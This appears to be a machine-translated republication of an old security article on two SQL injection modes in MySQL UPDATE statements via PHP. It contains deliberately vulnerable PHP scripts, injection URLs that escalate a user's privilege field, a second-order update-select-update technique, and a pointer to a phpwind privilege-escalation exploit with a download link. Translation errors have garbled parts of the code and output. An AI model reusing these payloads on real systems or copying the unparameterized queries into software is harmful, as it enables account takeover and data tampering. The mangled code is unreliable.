Two UPDATE injection modes (mysql + php)

Source: Internet
Author: User
Author: SuperHei article Nature: original release date: I. test environment OS: Windowsxpsp2php: php4.3.10mysql4.1.9apache1.3.33 II. test database structure -- database: 'test' ---------------------------------------------------------------- table structure 'useri author: SuperHei
Nature of the article: Original
Release date:

I. test environment

OS: Windows XP sp2
Php: php 4.3.10
Mysql 4.1.9
Apache 1.3.33

II. test the database structure

-- Database: 'test'
--

----------------------------------------------------------

--
-- Table structure 'userinfo'
--

Create table 'userinfo '(
'Groudid' varchar (12) not null default '1 ',
'User' varchar (12) not null default 'gigie ',
'Pass' varchar (122) not null default '123'
) TYPE = MyISAM;

--
-- Export the table data 'userinfo'
--

Insert into 'userinfo' VALUES ('2', 'heigi', '20140901 ')

III. test mode

1. the variable does not contain ''or ""

// Test1.php Mod1
$ Servername = "localhost ";
$ Dbusername = "root ";
$ Dbpassword = "";
$ Dbname = "test ";

Mysql_connect ($ servername, $ dbusername, $ dbpassword) or die ("database connection failed ");

$ SQL = "update userinfo set pass = $ p where user = 'gigie'"; // <-- $ P no single quotes

$ Result = mysql_db_query ($ dbname, $ SQL );
$ Userinfo = mysql_fetch_array ($ result );

Echo"

SQL Query: $ SQL

";
?>

The script only modifies the pass of user = 'gigie'. if groudid indicates the user's permission level, our goal is to modify the groupid by constructing $ p. Therefore, we submit:

Http: // 127.0.0.1/test1.php? P = 123456, groudid = 1

Query in mysql:

Mysql> select * from userinfo;
+ --------- + ------- + -------- +
| Groudid | user | pass |
+ --------- + ------- + -------- +
| 1 | heige | 123456 |
+ --------- + ------- + -------- +
1 row in set (0.01 sec)

The groudid of the user heige is changed to 1 in another 2 :)

Therefore, we can get the injection without ''or" "update", which is our Mode 1.

2. variables include ''or ""

// Test2.php
$ Servername = "localhost ";
$ Dbusername = "root ";
$ Dbpassword = "";
$ Dbname = "test ";

Mysql_connect ($ servername, $ dbusername, $ dbpassword) or die ("database connection failed ");

$ SQL = "update userinfo set pass = '$ P' where user = 'gigie'"; // <-- $ p use single quotes

$ Result = mysql_db_query ($ dbname, $ SQL );
$ Userinfo = mysql_fetch_array ($ result );

Echo"

SQL Query: $ SQL

";
?>

To disable 'construct $ p should be 123456 ', groudid = '2 submit:

Http: // 127.0.0.1/test2.php? P = 123456 ', groudid = '1

When gpc = on, 'changed to \', and the submitted statement changed:

SQL Query: update userinfo set pass = '2017 \ ', groudid = \ '1' where user = 'gigie'

Mysql Query:

Mysql> select * from userinfo;
+ --------- + ------- + -------------------- +
| Groudid | user | pass |
+ --------- + ------- + -------------------- +
| 2 | heige | 123456 ', groudid = '1 |
+ --------- + ------- + -------------------- +
1 row in set (0.00 sec)

Groudid is not modified. So when the variable is 'or "", is it completely not injected? The following figure shows the Mode 2:

// Test3.php Mod2
$ Servername = "localhost ";
$ Dbusername = "root ";
$ Dbpassword = "";
$ Dbname = "test ";

Mysql_connect ($ servername, $ dbusername, $ dbpassword) or die ("database connection failed ");

$ SQL = "update userinfo set pass = '$ P' where user = 'gigie'"; // <-- $ p use single quotes

$ Result = mysql_db_query ($ dbname, $ SQL );
Mysql_fetch_array ($ result); // write data of $ p to the database

$ SQL = "select pass from userinfo where user = 'gigie '";
$ Result = mysql_db_query ($ dbname, $ SQL );
$ Userinfo = mysql_fetch_array ($ result );

Echo $ userinfo [0]; // output the pass query to $ userinfo [0]

$ SQL = "update userinfo set pass = '$ userinfo [0] 'Where user = 'gigie '";
$ Result = mysql_db_query ($ dbname, $ SQL );
Mysql_fetch_array ($ result); // update $ userinfo [0] again

?>

We will test and submit:

Http: // 127.0.0.1/test3.php? P = 123456 ', groudid = '1

Go back to mysql for query:

Mysql> select * from userinfo;
+ --------- + ------- + -------- +
| Groudid | user | pass |
+ --------- + ------- + -------- +
| 1 | heige | 123456 |
+ --------- + ------- + -------- +
1 row in set (0.00 sec)

HaHa ~~ The groudid is modified to 1 after successful injection. This is our model 2, which is briefly described as follows:

Update --> select --> update

IV. actual mode

Mode 1: Missing

Mode 2: phpwind 2.0.2 and 3.31e permission escalation vulnerability

Vulnerability Analysis

Update (the profile. php injection variable is in the $ proicon update statement, icon = '$ userdb [icon]')
Bytes
Select (jop. php)
Bytes
Updtate (jop. php)

Exploit: http://www.huij.net/9xiao/up/phpwind-exploit.exe

5. thanks

I am particularly grateful to saiy and other friends for their discussions and help. Thanks !!

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.